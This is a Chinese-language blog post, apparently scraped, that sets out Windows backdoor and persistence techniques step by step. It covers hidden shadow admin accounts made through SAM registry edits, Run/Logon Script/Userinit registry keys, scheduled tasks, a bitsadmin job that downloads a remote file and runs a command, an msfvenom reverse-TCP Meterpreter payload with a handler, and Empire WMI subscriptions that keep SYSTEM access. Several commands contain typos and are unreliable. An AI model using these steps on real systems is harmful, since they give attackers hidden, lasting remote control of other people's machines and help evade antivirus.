jjzjj

windows操作系统后门

田家少闲月- 2023-03-28 原文
  1. 影子账户
    1.   创建隐藏账户的方式:
      1. 创建一个隐藏账户"net user test$ password /add",隐藏账户无法使用"net user"命令查看,但是可以在"本地用户和组"里面查看。
      2. 打开注册表"HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/Names"找到创建的隐藏账户(test$),在这个注册表里面可以看见test$账户的类型,同样可以查看计算机Administrator账户的类型
      3. 回退注册表"HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/Names"到上一级"HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/",找到Administrator对应目录000001FA,双击"F"复制里面的值,然后找到test$账户对应的目录000003EC,双击"F"后把刚才复制的值粘贴进去,
      4. 在注册表中导出"HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/Names"下的test$和"HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/"下的000003EC,然后在命令行中运行命令"net user test$ /del"删除test$用户。
      5. 导入上一步导出的两个注册表文件,就可以创建影子账户test$,该账户只有在注册表中才能看到。
  2. 注册表后门
    1.   Run注册表后门
      1. HKEY_LOCAL_MACHINE\SOFTWARE|Microsoft\Windows\CurrentVersion\Run下的键值即为开机启动项,每一次开机都会执行对应的程序或bat脚本。
    2.   Logon Scripts后门
      1. Logon Scripts是优先于很多杀毒软件启动的,所以可以通过这种方式达到一定的免杀效果,HKEY_CURRENT_USER/Enviroment下新建字符串值UserInitMprLogonScript,值设为想要执行的程序或bat脚本的路径,修改后注销重新登录后执行脚本。
    3.   Userinit注册表后门
      1. Userinit的作用是用户在进行登录初始化的设置时,会执行指定的程序,可以修改HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\winlogon\Userinit的键值来添加要执行的程序,多个程序用逗号隔开,注销登录后执行。
  3. 计划任务后门
    1.   windows实现定时任务主要有schtasks与at两种方式,均可用于计划在某个日期和时间执行程序和脚本,其中at命令在win8之后不在支持。
      1. schtasks命令,创建一个名为test的计划任务每天12:00执行test.bat脚本。(schtasks /creat /tn test /sc DAILY /st 12:00 /tr C:\test.bat /F)
      2. at命令,创建一个周一到周五12:00执行的test.bat的计划任务,(at 12:00/every:Monday,Tuesday,Wednesday,Thursday,Firday c:\test.bat)
  4. Bitsadmin后门
    1.   Bitsadmin后台智能传输服务,是一个windows组件,从win7之后操作系统默认自带,它可以利用空闲的带宽在前台或后台异步传输文件,并支持在重新启动计算机或重新连接网络后自动回复文件传输,常用于WindowsUpdate的安装更新,攻击者可以利用它的特性在被控制的计算机上面持久运行。
      1. bitsadmin /creat [type] DisplayName 创建一个任务
      2. bitsadmin /cancel <job> 删除一个任务
      3. ditsadmin /complete <job> 完成某个任务
      4. ditsadmin /Resume <job> 激活传输队列中的新任务或挂起的任务
      5. bitsadmin /list /allusers /verbase 列出所有任务
      6. bitsadmin /reset /allusers 删除所有任务
      7. bitsadmin /Addfile <job> <RemoteURL> <localName> 给任务添加下载文件
      8. bitsadmin /SetNotifyCmdLine <job> <ProgramName> [ProgramParameters] 设置在任务完成传输
    2.        bitsadmin 后门创建
      1. 创建任务名为:test
        1. bitsadmin /create test
      2. 远程文件下载到本地
        1. bitsadmin /addfile test http://ip/test.txt "c:\test.txt"
      3. 文件下载完成执行命令
        1. bitsadmin /SetNotifyCmdLine test "%COMSPEC%" "cmd.exe /c calc.exe"
      4. 执行任务
        1. bitsadmin /resume test
      5. 完成任务
        1. bitsadmin /complete test
      6. 如果没有执行"bitsadmin /complete test"命令,即使重启系统任务依然存在,重启后等待几秒后还会执行。
  5. MSF后门模块
    1.   MSF留后门的两种方式:
      1. Metsvc:通过服务启动,会在目标主机上以Meterpreter的服务的形式注册在服务列表中,并开机自动启动。
      2. Persistence:通过启动项启动,在目标机器上以反弹回连方式来连接服务器。
    2.   首先获取Meterpreter shell,使用Msfvenom生成反弹shell 木马,然后在目标机器上执行木马程序后去shell。
      1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=1234 -f exe >/tmp/shell.exe
      2. msf6>use exploit/multi/handler
      3. msf6>set payload windows/metsvc_bind_tcp 
      4. msf6>set lport 31337
      5. msf6>set rhost 192.168.1.103
      6. msf6>run
  6. WMI型后门
    1.   wmic startup list full 自启动的程序
    2.   wmic process call create "calc.exe" 在当前机器中执行指定程序
    3.   wmic process where(description="rundll32.exe")查看rundll32所加载的dll
    4.        wmic cpu get DataWidth /format:list 查询当前机器的操作系统位数
    5.        WMI的事件分两类:
      1. 本地事件:有生命周期,为进程宿主的周期
      2. 永久性WMI事件订阅:存储在WMI库中,以SYSTEM权限运行,并且重启后依然存在
      3. 使用Empire的wmi模块之前,需要使用Empire获取目标主机shell,使用Empire创建名为test的监听并生成powershell代码
      4. 在目标主机上执行powershell代码之后,在agents功能模块下可以看到上线的主机。
      5. 使用powershell/persistence/elevated/wmi模块来创建一个永久的WMI订阅,能够持久化控制目标主机
      6. 在目标主机创建了永久订阅后,即使重启也会重新获取目标主机的权限。并且是SYSTEM权限

有关windows操作系统后门的更多相关文章

  1. ruby - 在 Ruby 程序执行时阻止 Windows 7 PC 进入休眠状态 - 2

    我需要在客户计算机上运行Ruby应用程序。通常需要几天才能完成(复制大备份文件)。问题是如果启用sleep,它会中断应用程序。否则,计算机将持续运行数周,直到我下次访问为止。有什么方法可以防止执行期间休眠并让Windows在执行后休眠吗?欢迎任何疯狂的想法;-) 最佳答案 Here建议使用SetThreadExecutionStateWinAPI函数,使应用程序能够通知系统它正在使用中,从而防止系统在应用程序运行时进入休眠状态或关闭显示。像这样的东西:require'Win32API'ES_AWAYMODE_REQUIRED=0x0

  2. ruby - 在 Windows 机器上使用 Ruby 进行开发是否会适得其反? - 2

    这似乎非常适得其反,因为太多的gem会在window上破裂。我一直在处理很多mysql和ruby​​-mysqlgem问题(gem本身发生段错误,一个名为UnixSocket的类显然在Windows机器上不能正常工作,等等)。我只是在浪费时间吗?我应该转向不同的脚本语言吗? 最佳答案 我在Windows上使用Ruby的经验很少,但是当我开始使用Ruby时,我是在Windows上,我的总体印象是它不是Windows原生系统。因此,在主要使用Windows多年之后,开始使用Ruby促使我切换回原来的系统Unix,这次是Linux。Rub

  3. 电脑0x0000001A蓝屏错误怎么U盘重装系统教学 - 2

      电脑0x0000001A蓝屏错误怎么U盘重装系统教学分享。有用户电脑开机之后遇到了系统蓝屏的情况。系统蓝屏问题很多时候都是系统bug,只有通过重装系统来进行解决。那么蓝屏问题如何通过U盘重装新系统来解决呢?来看看以下的详细操作方法教学吧。  准备工作:  1、U盘一个(尽量使用8G以上的U盘)。  2、一台正常联网可使用的电脑。  3、ghost或ISO系统镜像文件(Win10系统下载_Win10专业版_windows10正式版下载-系统之家)。  4、在本页面下载U盘启动盘制作工具:系统之家U盘启动工具。  U盘启动盘制作步骤:  注意:制作期间,U盘会被格式化,因此U盘中的重要文件请注

  4. 【鸿蒙应用开发系列】- 获取系统设备信息以及版本API兼容调用方式 - 2

    在应用开发中,有时候我们需要获取系统的设备信息,用于数据上报和行为分析。那在鸿蒙系统中,我们应该怎么去获取设备的系统信息呢,比如说获取手机的系统版本号、手机的制造商、手机型号等数据。1、获取方式这里分为两种情况,一种是设备信息的获取,一种是系统信息的获取。1.1、获取设备信息获取设备信息,鸿蒙的SDK包为我们提供了DeviceInfo类,通过该类的一些静态方法,可以获取设备信息,DeviceInfo类的包路径为:ohos.system.DeviceInfo.具体的方法如下:ModifierandTypeMethodDescriptionstatic StringgetAbiList​()Obt

  5. Vscode+Cmake配置并运行opencv环境(Windows和Ubuntu大同小异) - 2

    之前在培训新生的时候,windows环境下配置opencv环境一直教的都是网上主流的vsstudio配置属性表,但是这个似乎对新生来说难度略高(虽然个人觉得完全是他们自己的问题),加之暑假之后对cmake实在是爱不释手,且这样配置确实十分简单(其实都不需要配置),故斗胆妄言vscode下配置CV之法。其实极为简单,图比较多所以很长。如果你看此文还配不好,你应该思考一下是不是自己的问题。闲话少说,直接开始。0.CMkae简介有的人到大二了都不知道cmake是什么,我不说是谁。CMake是一个开源免费并且跨平台的构建工具,可以用简单的语句来描述所有平台的编译过程。它能够根据当前所在平台输出对应的m

  6. 深度学习部署:Windows安装pycocotools报错解决方法 - 2

    深度学习部署:Windows安装pycocotools报错解决方法1.pycocotools库的简介2.pycocotools安装的坑3.解决办法更多Ai资讯:公主号AiCharm本系列是作者在跑一些深度学习实例时,遇到的各种各样的问题及解决办法,希望能够帮助到大家。ERROR:Commanderroredoutwithexitstatus1:'D:\Anaconda3\python.exe'-u-c'importsys,setuptools,tokenize;sys.argv[0]='"'"'C:\\Users\\46653\\AppData\\Local\\Temp\\pip-instal

  7. kvm虚拟机安装centos7基于ubuntu20.04系统 - 2

    需求:要创建虚拟机,就需要给他提供一个虚拟的磁盘,我们就在/opt目录下创建一个10G大小的raw格式的虚拟磁盘CentOS-7-x86_64.raw命令格式:qemu-imgcreate-f磁盘格式磁盘名称磁盘大小qemu-imgcreate-f磁盘格式-o?1.创建磁盘qemu-imgcreate-fraw/opt/CentOS-7-x86_64.raw10G执行效果#ls/opt/CentOS-7-x86_64.raw2.安装虚拟机使用virt-install命令,基于我们提供的系统镜像和虚拟磁盘来创建一个虚拟机,另外在创建虚拟机之前,提前打开vnc客户端,在创建虚拟机的时候,通过vnc

  8. ruby - 如何使用 Selenium Webdriver 根据 div 的内容执行操作? - 2

    我有一个使用SeleniumWebdriver和Nokogiri的Ruby应用程序。我想选择一个类,然后对于那个类对应的每个div,我想根据div的内容执行一个Action。例如,我正在解析以下页面:https://www.google.com/webhp?sourceid=chrome-instant&ion=1&espv=2&ie=UTF-8#q=puppies这是一个搜索结果页面,我正在寻找描述中包含“Adoption”一词的第一个结果。因此机器人应该寻找带有className:"result"的div,对于每个检查它的.descriptiondiv是否包含单词“adoption

  9. ruby-on-rails - 如何处理 Grape 中特定操作的过滤器之前? - 2

    我正在我的Rails项目中安装Grape以构建RESTfulAPI。现在一些端点的操作需要身份验证,而另一些则不需要身份验证。例如,我有users端点,看起来像这样:moduleBackendmoduleV1classUsers现在如您所见,除了password/forget之外的所有操作都需要用户登录/验证。创建一个新的端点也没有意义,比如passwords并且只是删除password/forget从逻辑上讲,这个端点应该与用户资源。问题是Grapebefore过滤器没有像except,only这样的选项,我可以在其中说对某些操作应用过滤器。您通常如何干净利落地处理这种情况?

  10. ruby-on-rails - 在 Ruby on Rails 中发送响应之前如何等待多个异步操作完成? - 2

    在我做的一些网络开发中,我有多个操作开始,比如对外部API的GET请求,我希望它们同时开始,因为一个不依赖另一个的结果。我希望事情能够在后台运行。我找到了concurrent-rubylibrary这似乎运作良好。通过将其混合到您创建的类中,该类的方法具有在后台线程上运行的异步版本。这导致我编写如下代码,其中FirstAsyncWorker和SecondAsyncWorker是我编写的类,我在其中混合了Concurrent::Async模块,并编写了一个名为“work”的方法来发送HTTP请求:defindexop1_result=FirstAsyncWorker.new.async.

随机推荐